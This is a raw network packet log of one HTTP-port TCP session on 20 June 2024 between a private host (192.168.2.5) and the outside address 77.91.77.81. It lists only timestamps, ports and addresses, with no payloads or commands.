Jun 20, 2024 15:38:06.994112968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.994133949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.014714003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.014787912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.014796019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.014832973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.014841080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.014878035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.014894962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.014908075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.014919043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.014940023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.014976978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.014976978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.015083075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.015095949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.015167952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.015256882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.015269995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.015283108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.015295029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.015305996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.015341043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.015369892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.015443087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.015454054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.015486002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.015537977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.039735079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.039747000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.039757967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.039813995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.039855003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.039861917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.039876938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.039887905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.039942980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.039973974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.041074991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.041161060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.071130991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071145058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071158886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071190119 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071202040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071219921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071229935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.071232080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071244955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071275949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.071307898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.071413994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071424961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071435928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071445942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071460009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071460962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.071485043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.071521044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.071757078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071768045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071779013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071798086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071810007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.071811914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071825027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071837902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.071855068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.071892023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.071892023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.073689938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.073702097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.073712111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.073765993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.073793888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.074049950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.074060917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.074125051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.074172974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.074184895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.074246883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.074276924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.078808069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.078896999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.078964949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.078975916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.078985929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.078996897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079008102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079020023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079030991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079046965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.079080105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079087019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.079093933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079125881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.079154968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.079463005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079474926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079484940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079495907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079545975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.079602003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.079633951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079647064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079710960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.079741001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.079745054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079792976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.079917908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079929113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079940081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079950094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079961061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079972029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079982996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.079996109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080001116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080008984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080046892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080046892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080081940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080092907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080104113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080115080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080130100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080214024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080252886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080252886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080290079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080549002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080559969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080621958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080657005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080679893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080691099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080703020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080718040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080733061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080744028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080754042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080753088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080765009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080775023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080777884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080787897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.080811024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.080840111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081166983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081196070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081207991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081218004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081228971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081234932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081250906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081278086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081285954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081298113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081299067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081310987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081334114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081384897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081449032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081460953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081470966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081480980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081491947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081506014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081516981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081525087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081528902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081542969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081542969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081553936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081562042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081564903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081578016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081598997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.081607103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081626892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.081656933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.101527929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.101583004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.101593971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.101602077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.101643085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.101655006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.101667881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.101701021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.101772070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.101783037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.101794004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.101869106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.102004051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.102015018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.102025032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.102065086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.102088928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.102540970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.102555990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.102569103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.102579117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.102611065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.102643013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.127029896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.127042055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.127053022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.127104044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.127141953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.127371073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.127382994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.127393007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.127404928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.127424955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.127460957 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.127460957 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.127516031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.127559900 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.157787085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.157821894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.157834053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.157883883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.157885075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.157883883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.157903910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.157932997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.157963037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158006907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158020020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158030033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158041954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158067942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158099890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158155918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158221960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158236027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158246994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158258915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158271074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158282042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158283949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158293962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158304930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158307076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158332109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158361912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158508062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158519030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158529043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158541918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158576012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158608913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158631086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158690929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158693075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158701897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158715010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158744097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158775091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158797979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158862114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158878088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158888102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158899069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158909082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.158943892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.158973932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165050983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165067911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165079117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165098906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165122032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165157080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165157080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165196896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165208101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165218115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165229082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165266991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165293932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165328026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165338993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165350914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165389061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165412903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165412903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165424109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165440083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165486097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165517092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165533066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165544033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165591955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165611029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165617943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165631056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165640116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165652037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165687084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165718079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165755033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165767908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165824890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165826082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.165895939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165908098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165916920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165927887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165939093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165949106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165958881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.165970087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166004896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166004896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166084051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166126013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166136980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166156054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166187048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166243076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166254997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166264057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166275024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166311979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166341066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166363955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166376114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166385889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166435003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166451931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166454077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166464090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166476011 CEST	80	49706	77.91.77.81	192.168.2.5
